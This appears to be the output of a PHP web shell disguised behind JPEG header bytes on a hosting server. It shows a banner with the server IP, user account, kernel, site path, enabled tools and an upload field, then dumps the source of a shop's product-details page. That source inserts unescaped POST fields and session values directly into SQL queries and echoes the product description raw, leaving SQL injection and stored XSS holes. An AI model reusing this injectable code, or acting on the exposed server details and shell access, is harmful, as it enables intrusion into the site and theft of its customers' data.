����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 162.0.232.25 / Your IP : 3.12.34.211 Web Server : LiteSpeed System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : kwacuqig ( 988) PHP Version : 8.2.26 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/kwacuqig/cloudmarketmw.com/ |
Upload File : |
<?php session_start(); error_reporting(0); include('includes/config.php'); if(isset($_GET['action']) && $_GET['action']=="add"){ $id=intval($_GET['id']); if(isset($_SESSION['cart'][$id])){ $_SESSION['cart'][$id]['quantity']++; }else{ $sql_p="SELECT * FROM products WHERE id={$id}"; $query_p=mysqli_query($con,$sql_p); if(mysqli_num_rows($query_p)!=0){ $row_p=mysqli_fetch_array($query_p); $_SESSION['cart'][$row_p['id']]=array("quantity" => 1, "price" => $row_p['productPrice']); // echo "<script>alert('Product has been added to the cart')</script>"; echo "<script type='text/javascript'> document.location ='my-cart.php'; </script>"; }else{ $message="Product ID is invalid"; } } } $pid=intval($_GET['pid']); if(isset($_GET['pid']) && $_GET['action']=="wishlist" ){ if(strlen($_SESSION['login'])==0) { header('location:login.php'); } else { mysqli_query($con,"insert into wishlist(userId,productId) values('".$_SESSION['id']."','$pid')"); // echo "<script>alert('Product aaded in wishlist');</script>"; header('location:my-wishlist.php'); } } if(isset($_POST['submit'])) { $qty=$_POST['quality']; $price=$_POST['price']; $value=$_POST['value']; $name=$_POST['name']; $contactInfo=$_POST['contactInfo']; $location=$_POST['location']; $supplier=$_POST['supplier']; $summary=$_POST['summary']; $review=$_POST['review']; mysqli_query($con,"insert into productreviews(productId,quality,price,value,name,contactInfo,location,supplier,summary,review) values('$pid','$qty','$price','$value','$name','$contactInfo','location','supplier','$summary','$review')"); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"> <meta name="description" content=""> <meta name="author" content=""> <meta name="keywords" content="MediaCenter, Template, eCommerce"> <meta name="robots" content="all"> <title>Product Details</title> <link rel="stylesheet" href="assets/css/bootstrap.min.css"> <link rel="stylesheet" href="assets/css/main.css"> <link rel="stylesheet" href="assets/css/green.css"> <link rel="stylesheet" href="assets/css/owl.carousel.css"> <link rel="stylesheet" href="assets/css/owl.transitions.css"> <link rel="stylesheet" href="assets/css/blue.css"> <link href="assets/css/lightbox.css" rel="stylesheet"> <link rel="stylesheet" href="assets/css/font-awesome.min.css"> <!-- Fonts --> <link href='http://fonts.googleapis.com/css?family=Roboto:300,400,500,700' rel='stylesheet' type='text/css'> <link rel="shortcut icon" href="img/logo.png"> </head> <body class="cnt-home"> <header class="header-style-1"> <!-- ============================================== TOP MENU ============================================== --> <?php include('includes/top-header.php');?> <!-- ============================================== TOP MENU : END ============================================== --> <?php include('includes/main-header.php');?> <!-- ============================================== NAVBAR ============================================== --> <?php include('includes/menu-bar.php');?> <!-- ============================================== NAVBAR : END ============================================== --> </header> <!-- ============================================== HEADER : END ============================================== --> <div class="body-content outer-top-xs"> <div class='container'> <div class='row single-product outer-bottom-sm '> <div class='col-md-3 sidebar'> <div class="sidebar-module-container"> </div> </div><!-- /.sidebar --> <?php $ret=mysqli_query($con,"select * from products where id='$pid'"); while($row=mysqli_fetch_array($ret)) { ?> <div class='col-md-9'> <div class="row wow fadeInUp"> <div class="col-xs-12 col-sm-6 col-md-5 gallery-holder"> <div class="product-item-holder size-big single-product-gallery small-gallery"> <div id="owl-single-product"> <div class="single-product-gallery-item" id="slide1"> <a data-lightbox="image-1" data-title="<?php echo htmlentities($row['productName']);?>" href="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>"> <img class="img-responsive" alt="" src="assets/images/blank.gif" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="370" height="350" /> </a> </div> <div class="single-product-gallery-item" id="slide1"> <a data-lightbox="image-1" data-title="<?php echo htmlentities($row['productName']);?>" href="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>"> <img class="img-responsive" alt="" src="assets/images/blank.gif" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" width="370" height="350" /> </a> </div><!-- /.single-product-gallery-item --> <div class="single-product-gallery-item" id="slide2"> <a data-lightbox="image-1" data-title="Gallery" href="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage2']);?>"> <img class="img-responsive" alt="" src="assets/images/blank.gif" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage2']);?>" /> </a> </div><!-- /.single-product-gallery-item --> <div class="single-product-gallery-item" id="slide3"> <a data-lightbox="image-1" data-title="Gallery" href="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage3']);?>"> <img class="img-responsive" alt="" src="assets/images/blank.gif" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage3']);?>" /> </a> </div> </div><!-- /.single-product-slider --> <div class="single-product-gallery-thumbs gallery-thumbs"> <div id="owl-single-product-thumbnails"> <div class="item"> <a class="horizontal-thumb active" data-target="#owl-single-product" data-slide="1" href="#slide1"> <img class="img-responsive" alt="" src="assets/images/blank.gif" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage1']);?>" /> </a> </div> <div class="item"> <a class="horizontal-thumb" data-target="#owl-single-product" data-slide="2" href="#slide2"> <img class="img-responsive" width="85" alt="" src="assets/images/blank.gif" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage2']);?>"/> </a> </div> <div class="item"> <a class="horizontal-thumb" data-target="#owl-single-product" data-slide="3" href="#slide3"> <img class="img-responsive" width="85" alt="" src="assets/images/blank.gif" data-echo="admin/productimages/<?php echo htmlentities($row['id']);?>/<?php echo htmlentities($row['productImage3']);?>" height="200" /> </a> </div> </div><!-- /#owl-single-product-thumbnails --> </div> </div> </div> <div class='col-sm-6 col-md-7 product-info-block'> <div class="product-info"> <h1 class="name"><?php echo htmlentities($row['productName']);?></h1> <?php $rt=mysqli_query($con,"select * from productreviews where productId='$pid'"); $num=mysqli_num_rows($rt); { ?> <?php } ?> <div class="stock-container info-container m-t-10"> <div class="row"> <div class="col-sm-3"> <div class="stock-box"> <span class="label">Availability :</span> </div> </div> <div class="col-sm-9"> <div class="stock-box"> <span class="value"><?php echo htmlentities($row['productAvailability']);?></span> </div> </div> </div><!-- /.row --> </div> <div class="stock-container info-container m-t-10"> <div class="row"> <div class="col-sm-3"> <div class="stock-box"> <span class="label">Product Brand :</span> </div> </div> <div class="col-sm-9"> <div class="stock-box"> <span class="value"><?php echo htmlentities($row['productCompany']);?></span> </div> </div> </div><!-- /.row --> </div> <div class="stock-container info-container m-t-10"> <div class="row"> <div class="col-sm-3"> <div class="stock-box"> <span class="label">Condition :</span> </div> </div> <div class="col-sm-9"> <div class="stock-box"> <span class="value"><?php echo htmlentities($row['contactInfo']);?></span> </div> </div> </div><!-- /.row --> </div> <div class="stock-container info-container m-t-10"> <div class="row"> <div class="col-sm-3"> <div class="stock-box"> <span class="label">Location :</span> </div> </div> <div class="col-sm-9"> <div class="stock-box"> <span class="value"><?php echo htmlentities($row['location']);?></span> </div> </div> </div><!-- /.row --> </div> <div class="stock-container info-container m-t-10"> <div class="row"> <div class="col-sm-3"> <div class="stock-box"> <span class="label">Supplier :</span> </div> </div> <div class="col-sm-9"> <div class="stock-box"> <span class="value"><?php echo htmlentities($row['supplier']);?></span> </div> </div> </div><!-- /.row --> </div> <div class="price-container info-container m-t-20"> <div class="row"> <div class="col-sm-6"> <div class="price-box"> <span class="price">MK <?php echo htmlentities($row['productPrice']);?></span> <span class="price-strike">MK<?php echo htmlentities($row['productPriceBeforeDiscount']);?></span> </div> </div> </div><!-- /.row --> </div><!-- /.price-container --> <div class="quantity-container info-container"> <div class="row"> <div class="col-sm-7"> <?php if($row['productAvailability']=='In Stock'){?> <a href="contacts.php" class="btn btn-primary"> Buy</a> <?php } else {?> <div class="action" style="color:red">Out of Stock</div> <?php } ?> </div> </div><!-- /.row --> </div><!-- /.quantity-container --> </div><!-- /.product-info --> </div><!-- /.col-sm-7 --> </div><!-- /.row --> <div class="product-tabs inner-bottom-xs wow fadeInUp"> <div class="row"> <div class="col-sm-3"> <ul id="product-tabs" class="nav nav-tabs nav-tab-cell"> <li class="active"><a data-toggle="tab" href="#description">DESCRIPTION</a></li> <!-- <li><a data-toggle="tab" href="#review">REVIEW</a></li> --> </ul><!-- /.nav-tabs #product-tabs --> </div> <div class="col-sm-9"> <div class="tab-content"> <div id="description" class="tab-pane in active"> <div class="product-tab"> <p class="text"><?php echo $row['productDescription'];?></p> </div> </div><!-- /.tab-pane --> <?php $cid=$row['category']; $subcid=$row['subCategory']; } ?> </div><!-- /.col --> <div class="clearfix"></div> </div> </div> </div> </div> </div> </div> </div> <?php include('includes/footer.php');?> <script src="assets/js/jquery-1.11.1.min.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/bootstrap-hover-dropdown.min.js"></script> <script src="assets/js/owl.carousel.min.js"></script> <script src="assets/js/echo.min.js"></script> <script src="assets/js/jquery.easing-1.3.min.js"></script> <script src="assets/js/bootstrap-slider.min.js"></script> <script src="assets/js/jquery.rateit.min.js"></script> <script type="text/javascript" src="assets/js/lightbox.min.js"></script> <script src="assets/js/bootstrap-select.min.js"></script> <script src="assets/js/wow.min.js"></script> <script src="assets/js/scripts.js"></script> </body> </html>